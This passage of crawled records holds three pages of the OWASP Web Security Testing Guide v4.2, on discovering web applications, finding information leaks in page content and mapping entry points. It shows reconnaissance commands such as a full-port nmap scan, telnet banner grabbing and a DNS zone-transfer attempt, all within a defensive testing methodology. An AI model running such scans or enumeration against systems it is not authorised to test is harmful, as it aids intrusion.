misconfigured or not updated, due to the perception that they are only used “internally” and therefore no threat exists.\nWith the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites or applications whose symbolic names resolve to the same IP address. This scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well.\n\nSecurity professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports “No web server configured at this address” or a similar message. But that system could “hide” a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected by the tester tests all applications or only tests the applications that they are aware of.\n\nSometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even being aware of that (this is more likely to happen in large organizations).\n\nOther issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., `http://www.example.com/some-strange-URL`), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).\n\nTo address these issues, it is necessary to perform web application discovery.\n\n## Test Objectives\n\n- Enumerate the applications within scope that exist on a web server.\n\n## How to Test\n\nWeb application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two. This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., test only the application located at the URL `http://www.example.com/`), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal.\n\n> Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as `192.168.1.100`), which, unless indicated otherwise, represent *generic* IP addresses and are used only for anonymity purposes.\n\nThere are three factors influencing how many applications are related to a given DNS name (or an IP address):\n\n1. **Different Base URL** The obvious entry point for a web application is `www.example.com`, i.e., with this shorthand notation we think of the web application originating at `http://www.example.com/` (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at `/`. For example, the same symbolic name may be associated to three web applications such as: `http://www.example.com/url1` `http://www.example.com/url2` `http://www.example.com/url3` In this case, the URL `http://www.example.com/` would not be associated with a meaningful page, and the three applications would be **hidden**, unless the tester explicitly knows how to reach them, i.e., the tester knows *url1*, *url2* or *url3*. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.\n2. **Non-standard Ports** While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: `http[s]://www.example.com:port/`. For example, `http://www.example.com:20000/`.\n3. **Virtual Hosts** DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address `192.168.1.100` might be associated to DNS names `www.example.com`, `helpdesk.example.com`, `webmail.example.com`. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 [Host header](https://tools.ietf.org/html/rfc2616#section-14.23). One would not suspect the existence of other web applications in addition to the obvious `www.example.com`, unless they know of `helpdesk.example.com` and `webmail.example.com`.\n\n### Approaches to Address Issue 1 - Non-standard URLs\n\nThere is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.\n\nFirst, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.\n\nSecond, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such **hidden** applications on `www.example.com` they could search using the *site* operator and examining the result of a query for `site: www.example.com`. Among the returned URLs there could be one pointing to such a non-obvious application.\n\nAnother option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as `https://www.example.com/webmail`, `https://webmail.example.com/`, or `https://mail.example.com/`. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.\n\n### Approaches to Address Issue 2 - Non-standard Ports\n\nIt is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap is capable of performing service recognition by means of the `-sV` option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.\n\nFor example, the following command will look up, with a TCP connect scan, all open ports on IP `192.168.1.100` and will try to determine what services are bound to them (only *essential* switches are shown – nmap features a broad set of options, whose discussion is out of scope):\n\n`nmap –Pn –sT –sV –p0-65535 192.168.1.100`\n\nIt is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command could look like:\n\n```\nInteresting ports on 192.168.1.100:\n(The 65527 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)\n80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))\n443/tcp open ssl OpenSSL\n901/tcp open http Samba SWAT administration server\n1241/tcp open ssl Nessus security scanner\n3690/tcp open unknown\n8000/tcp open http-alt?\n8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1\n```\n\nFrom this example, one see that:\n\n- There is an Apache HTTP server running on port 80.\n- It looks like there is an HTTPS server on port 443 (but this needs to be confirmed, for example, by visiting `https://192.168.1.100` with a browser).\n- On port 901 there is a Samba SWAT web interface.\n- The service on port 1241 is not HTTPS, but is the SSL-wrapped Nessus daemon.\n- Port 3690 features an unspecified service (nmap gives back its *fingerprint* - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).\n- Another unspecified service on port 8000; this might possibly be HTTP, since it is not uncommon to find HTTP servers on this port. Let’s examine this issue:\n\n```\n$ telnet 192.168.10.100 8000\nTrying 192.168.1.100...\nConnected to 192.168.1.100.\nEscape character is '^]'.\nGET / HTTP/1.0\n\nHTTP/1.0 200 OK\npragma: no-cache\nContent-Type: text/html\nServer: MX4J-HTTPD/1.0\nexpires: now\nCache-Control: no-cache\n\n\n...\n```\n\nThis confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).\n\n- Apache Tomcat running on port 8080.\n\nThe same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify HTTP[S] services running on non-standard ports. For example, Nessus is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to nmap, a number of tests on known web server vulnerabilities, as well as on the SSL configuration of HTTPS services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).\n\n### Approaches to Address Issue 3 - Virtual Hosts\n\nThere are a number of techniques which may be used to identify DNS names associated to a given IP address `x.y.z.t`.\n\n#### DNS Zone Transfers\n\nThis technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try. First of all, testers must determine the name servers serving `x.y.z.t`. If a symbolic name is known for `x.y.z.t` (let it be `www.example.com`), its name servers can be determined by means of tools such as `nslookup`, `host`, or `dig`, by requesting DNS NS records.\n\nIf no symbolic names are known for `x.y.z.t`, but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that `x.y.z.t` will be served as well by that name server). For example, if the target consists of the IP address `x.y.z.t` and the name `mail.example.com`, determine the name servers for domain `example.com`.\n\nThe following example shows how to identify the name servers for `www.owasp.org` by using the `host` command:\n\n```\n$ host -t ns www.owasp.org\nwww.owasp.org is an alias for owasp.org.\nowasp.org name server ns1.secure.net.\nowasp.org name server ns2.secure.net.\n```\n\nA zone transfer may now be requested to the name servers for domain `example.com`. If the tester is lucky, they will get back a list of the DNS entries for this domain. This will include the obvious `www.example.com` and the not-so-obvious `helpdesk.example.com` and `webmail.example.com` (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated.\n\nTrying to request a zone transfer for `owasp.org` from one of its name servers:\n\n```\n$ host -l www.owasp.org ns1.secure.net\nUsing domain server:\nName: ns1.secure.net\nAddress: 192.220.124.10#53\nAliases:\n\nHost www.owasp.org not found: 5(REFUSED) ; Transfer failed.\n```\n\n#### DNS Inverse Queries\n\nThis process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are lucky, they may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.\n\n#### Web-based DNS Searches\n\nThis kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the [Netcraft Search DNS](https://searchdns.netcraft.com/?host) service. The tester may query for a list of names belonging to your domain of choice, such as `example.com`. Then they will check whether the names they obtained are pertinent to the target they are examining.\n\n#### Reverse-IP Services\n\nReverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.\n\n[Domain Tools Reverse IP](https://www.domaintools.com/reverse-ip/) (requires free membership)\n\n[Bing](https://bing.com), syntax: `ip:x.x.x.x`\n\n[Webhosting Info](http://whois.webhosting.info/), syntax: `http://whois.webhosting.info/x.x.x.x`\n\n[DNSstuff](https://www.dnsstuff.com/) (multiple services available)\n\n[Net Square](https://web.archive.org/web/20190515092354/http://www.net-square.com/mspawn.html) (multiple queries on domains and IP addresses, requires installation)\n\nThe following example shows the result of a query to one of the above reverse-IP services to `216.48.3.18`, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.\n\n*Figure 4.1.4-1: OWASP Whois Info*\n\n#### Googling\n\nFollowing information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs.\n\nFor instance, considering the previous example regarding `www.owasp.org`, the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of `webgoat.org`, `webscarab.com`, and `webscarab.net`.\n\nGoogling techniques are explained in [Testing: Spiders, Robots, and Crawlers](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage).\n\n## Tools\n\n- DNS lookup tools such as `nslookup` , `dig` and similar.\n- Search engines (Google, Bing and other major search engines).\n- Specialized DNS-related web-based search service: see text.\n- [Nmap](https://nmap.org/)\n- [Nessus Vulnerability Scanner](https://www.tenable.com/products/nessus)\n- [Nikto](https://www.cirt.net/nikto2)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 15793, "slov": 2445, "odkazu": 188, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:51", "sha256": "6100bd0f4fa9e5717b0935f3c2ba5fb3c11789d917fa4b078b08a2e31e37ea2f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc2616", "https://searchdns.netcraft.com/?host=", "https://www.domaintools.com/reverse-ip/", "https://bing.com/", "http://whois.webhosting.info/", "https://www.dnsstuff.com/", "http://www.net-square.com/mspawn.html", "https://nmap.org/", "https://www.tenable.com/products/nessus", "https://www.cirt.net/nikto2", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Review Webpage Content for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Review webpage comments and metadata"}, {"uroven": 3, "text": "Identifying JavaScript Code and Gathering JavaScript Files"}, {"uroven": 3, "text": "Identifying Source Map Files"}, {"uroven": 4, "text": "Black-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Review Webpage Content for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-05 |\n\n## Summary\n\nIt is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.\n\nFor modern web apps, the use of client-Side JavaScript for the front-end is becoming more popular. Popular front-end construction technologies use client-side JavaScript like ReactJS, AngularJS, or Vue. Similar to the comments and metadata in HTML code, many programmers also hardcod sensitive information in JavaScript variables on the front-end. Sensitive information can include (but is not limited to): Private API Keys (*e.g.* an unrestricted Google Map API Key), internal IP addresses, sensitive routes (*e.g.* route to hidden admin pages or functionality), or even credentials. This sensitive information can be leaked from such front-end JavaScript code. A review should be done in order to determine if any sensitive information leaked which could be used by attackers for abuse.\n\nFor large web applications, performance issues are a big concern to programmers. Programmers have used different methods to optimize front-end performance, including Syntactically Awesome Style Sheets (SASS), Sassy CSS (SCSS), webpack, etc. Using these technologies, front-end code will sometimes become harder to understand and difficult to debug, and because of it, programmers often deploy source map files for debugging purposes. A “source map” is a special file that connects a minified/uglified version of an asset (CSS or JavaScript) to the original authored version. Programmers are still debating whether or not to bring source map files to the production environment. However, it is undeniable that source map files or files for debugging if released to the production environment will make their source more human-readable. It can make it easier for attackers to find vulnerabilities from the front-end or collect sensitive information from it. JavaScript code review should be done in order to determine if any debug files are exposed from the front-end. Depending on the context and sensitivity of the project, a security expert should decide whether the files should exist in the production environment or not.\n\n## Test Objectives\n\n- Review webpage comments and metadata to find any information leakage.\n- Gather JavaScript files and review the JS code to better understand the application and to find any information leakage.\n- Identify if source map files or other front-end debug files exist.\n\n## How to Test\n\n### Review webpage comments and metadata\n\nHTML comments are often used by the developers to include debugging information about the application. Sometimes, they forget about the comments and they leave them in production environments. Testers should look for HTML comments which start with ` \n...\n```\n\nThe tester may even find something like this:\n\n```\n \n```\n\nCheck HTML version information for valid version numbers and Data Type Definition (DTD) URLs\n\n```\n \n```\n\n- `strict.dtd` – default strict DTD\n- `loose.dtd` – loose DTD\n- `frameset.dtd` – DTD for frameset documents\n\nSome `META` tags do not provide active attack vectors but instead allow an attacker to profile an application:\n\n```\n \n```\n\nA common (but not [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/) compliant) `META` tag is [Refresh](https://en.wikipedia.org/wiki/Meta_refresh).\n\n```\n \n```\n\nA common use for `META` tag is to specify keywords that a search engine may use to improve the quality of search results.\n\n```\n \n```\n\nAlthough most web servers manage search engine indexing via the `robots.txt` file, it can also be managed by `META` tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.\n\n```\n \n```\n\nThe [Platform for Internet Content Selection (PICS)](https://www.w3.org/PICS/) and [Protocol for Web Description Resources (POWDER)](https://www.w3.org/2007/powder/) provide infrastructure for associating metadata with Internet content.\n\n### Identifying JavaScript Code and Gathering JavaScript Files\n\nProgrammers often hardcode sensitive information with JavaScript variables on the front-end. Testers should check HTML source code and look for JavaScript code between `` tags. Testers should also identify external JavaScript files to review the code (JavaScript files have the file extension `.js` and name of the JavaScript file usually put in the `src` (source) attribute of a ` \n```\n\nIn some cases, testers may find sensitive routes from JavaScript code, such as links to internal or hidden admin pages.\n\n```\n \n```\n\n### Identifying Source Map Files\n\nSource map files will usually be loaded when DevTools open. Testers can also find source map files by adding the “.map” extension after the extension of each external JavaScript file. For example, if a tester sees a `/static/js/main.chunk.js` file, they can then check for its source map file by visiting `/static/js/main.chunk.js.map`.\n\n#### Black-Box Testing\n\nCheck source map files for any sensitive information that can help the attacker gain more insight about the application. For example:\n\n```\n{ \"version\": 3, \"file\": \"static/js/main.chunk.js\", \"sources\": [ \"/home/sysadmin/cashsystem/src/actions/index.js\", \"/home/sysadmin/cashsystem/src/actions/reportAction.js\", \"/home/sysadmin/cashsystem/src/actions/cashoutAction.js\", \"/home/sysadmin/cashsystem/src/actions/userAction.js\", \"...\" ], \"...\" } \n```\n\nWhen websites load source map files, the front-end source code will become readable and easier to debug.\n\n## Tools\n\n- [Wget](https://www.gnu.org/software/wget/wget.html)\n- Browser “view source” function\n- Eyeballs\n- [Curl](https://curl.haxx.se/)\n- [Burp Suite](https://portswigger.net/burp)\n- [Waybackurls](https://github.com/tomnomnom/waybackurls)\n- [Google Maps API Scanner](https://github.com/ozguralp/gmapsapiscanner/)\n\n## References\n\n- [KeyHacks](https://github.com/streaak/keyhacks)\n\n### Whitepapers\n\n- [HTML version 4.01](https://www.w3.org/TR/1999/REC-html401-19991224)\n- [XHTML](https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/)\n- [HTML version 5](https://www.w3.org/TR/html5/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8563, "slov": 1128, "odkazu": 191, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:51", "sha256": "0423d00ef39517f0734ab877aac9079dec9714ec4db71ecc3112c365f45369f7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.w3.org/WAI/standards-guidelines/wcag/", "https://en.wikipedia.org/wiki/Meta_refresh", "https://www.w3.org/PICS/", "https://www.w3.org/2007/powder/", "https://www.gnu.org/software/wget/wget.html", "https://curl.haxx.se/", "https://portswigger.net/burp", "https://github.com/tomnomnom/waybackurls", "https://github.com/ozguralp/gmapsapiscanner/", "https://github.com/streaak/keyhacks", "https://www.w3.org/TR/1999/REC-html401-19991224", "https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/", "https://www.w3.org/TR/html5/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Identify Application Entry Points"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Requests"}, {"uroven": 3, "text": "Responses"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing for Application Entry Points"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "OWASP Attack Surface Detector"}, {"uroven": 5, "text": "How to Use"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Identify Application Entry Points\n\n| ID |\n| --- |\n| WSTG-INFO-06 |\n\n## Summary\n\nEnumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed.\n\n## Test Objectives\n\n- Identify possible entry and injection points through request and response analysis.\n\n## How to Test\n\nBefore any testing begins, the tester should always get a good understanding of the application and how the user and browser communicates with it. As the tester walks through the application, they should pay attention to all HTTP requests as well as every parameter and form field that is passed to the application. They should pay special attention to when GET requests are used and when POST requests are used to pass parameters to the application. In addition, they also need to pay attention to when other methods for RESTful services are used.\n\nNote that in order to see the parameters sent in the body of requests such as a POST request, the tester may want to use a tool such as an intercepting proxy (See tools). Within the POST request, the tester should also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information, such as state information, quantity of items, the price of items, that the developer never intended for anyone to see or change.\n\nIn the author’s experience, it has been very useful to use an intercepting proxy and a spreadsheet for this stage of testing. The proxy will keep track of every request and response between the tester and the application as they explore it. Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned. This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will show what to look for and this phase can be significantly reduced.\n\nAs the tester walks through the application, they should take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in a spreadsheet. The spreadsheet should include the page requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (GET, POST, etc), if access is authenticated/unauthenticated, if TLS is used, if it’s part of a multi-step process, if WebSockers are used, and any other relevant notes. Once they have every area of the application mapped out, then they can go through the application and test each of the areas that they have identified and make notes for what worked and what didn’t work. The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence.\n\nBelow are some points of interests for all requests and responses. Within the requests section, focus on the GET and POST methods, as these appear the majority of the requests. Note that other methods, such as PUT and DELETE, can be used. Often, these more rare requests, if allowed, can expose vulnerabilities. There is a special section in this guide dedicated for testing these HTTP methods.\n\n### Requests\n\n- Identify where GETs are used and where POSTs are used.\n- Identify all parameters used in a POST request (these are in the body of the request).\n- Within the POST request, pay special attention to any hidden parameters. When a POST is sent all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application. These typically aren’t seen unless a proxy or view the HTML source code is used. In addition, the next page shown, its data, and the level of access can all be different depending on the value of the hidden parameter(s).\n- Identify all parameters used in a GET request (i.e., URL), in particular the query string (usually after a ? mark).\n- Identify all the parameters of the query string. These usually are in a pair format, such as `foo=bar` . Also note that many parameters can be in one query string such as separated by a `&` , `\\~` , `:` , or any other special character or encoding.\n- A special note when it comes to identifying multiple parameters in one string or within a POST request is that some or all of the parameters will be needed to execute the attacks. The tester needs to identify all of the parameters (even if encoded or encrypted) and identify which ones are processed by the application. Later sections of the guide will identify how to test these parameters. At this point, just make sure each one of them is identified.\n- Also pay attention to any additional or custom type headers not typically seen (such as `debug: false` ).\n\n### Responses\n\n- Identify where new cookies are set ( `Set-Cookie` header), modified, or added to.\n- Identify where there are any redirects (3xx HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests).\n- Also note where any interesting headers are used. For example, `Server: BIG-IP` indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then the tester might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used.\n\n### Black-Box Testing\n\n#### Testing for Application Entry Points\n\nThe following are two examples on how to check for application entry points.\n\n#### Example 1\n\nThis example shows a GET request that would purchase an item from an online shopping application.\n\n```\nGET /shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy\n```\n\n> Here the tester would note all the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie (which could just be encoded parameters or used for session state).\n\n#### Example 2\n\nThis example shows a POST request that would log you into an application.\n\n```\nPOST /KevinNotSoGoodApp/authenticate.asp?service=login HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA==;CustomCookie=00my00trusted00ip00is00x.x.x.x00\n\nuser=admin&pass=pass123&debug=true&fromtrustIP=true\n```\n\n> In this example the tester would note all the parameters as they have before, however the majority of the parameters are passed in the body of the request and not in the URL. Additionally, note that there is a custom HTTP header (`CustomCookie`) being used.\n\n### Gray-Box Testing\n\nTesting for application entry points via a gray-box methodology would consist of everything already identified above with one addition. In cases where there are external sources from which the application receives data and processes it (such as SNMP traps, syslog messages, SMTP, or SOAP messages from other servers) a meeting with the application developers could identify any functions that would accept or expect user input and how they are formatted. For example, the developer could help in understanding how to formulate a correct SOAP request that the application would accept and where the web service resides (if the web service or any other function hasn’t already been identified during the black-box testing).\n\n#### OWASP Attack Surface Detector\n\nThe Attack Surface Detector (ASD) tool investigates the source code and uncovers the endpoints of a web application, the parameters these endpoints accept, and the data type of those parameters. This includes the unlinked endpoints a spider will not be able to find, or optional parameters totally unused in client-side code. It also has the capability to calculate the changes in attack surface between two versions of an application.\n\nThe Attack Surface Detector is available as a plugin to both ZAP and Burp Suite, and a command-line tool is also available. The command-line tool exports the attack surface as a JSON output, which can then be used by the ZAP and Burp Suite plugin. This is helpful for cases where the source code is not provided to the penetration tester directly. For example, the penetration tester can get the json output file from a customer who does not want to provide the source code itself.\n\n##### How to Use\n\nThe CLI jar file is available for download from [https://github.com/secdec/attack-surface-detector-cli/releases](https://github.com/secdec/attack-surface-detector-cli/releases).\n\nYou can run the following command for ASD to identify endpoints from the source code of the target web application.\n\n`java -jar attack-surface-detector-cli-1.3.5.jar [flags]`\n\nHere is an example of running the command against [OWASP RailsGoat](https://github.com/OWASP/railsgoat).\n\n```\n$ java -jar attack-surface-detector-cli-1.3.5.jar railsgoat/\nBeginning endpoint detection for '<...>/railsgoat' with 1 framework types\nUsing framework=RAILS\n[0] GET: /login (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_contro\nller.rb (lines '6'-'9')\n[1] GET: /logout (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[2] POST: /forgot_password (0 variants): PARAMETERS={email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/\npassword_resets_controller.rb (lines '29'-'38')\n[3] GET: /password_resets (0 variants): PARAMETERS={token=name=token, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/p\nassword_resets_controller.rb (lines '19'-'27')\n[4] POST: /password_resets (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user=name=user, paramType=QUERY_STRING, dataType=STRING, confirm_password=name=confirm_password, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/password_resets_controller.rb (lines '5'-'17')\n[5] GET: /sessions/new (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\n[6] POST: /sessions (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user_id=name=user_id, paramType=SESSION, dataType=STRING, remember_me=name=remember_me, paramType=QUERY_STRING, dataType=STRING, url=name=url, paramType=QUERY_STRING, dataType=STRING, email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '11'-'31')\n[7] DELETE: /sessions/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[8] GET: /users (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '9'-'11')\n[9] GET: /users/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '13'-'15')\n... snipped ...\n[38] GET: /api/v1/mobile/{id} (0 variants): 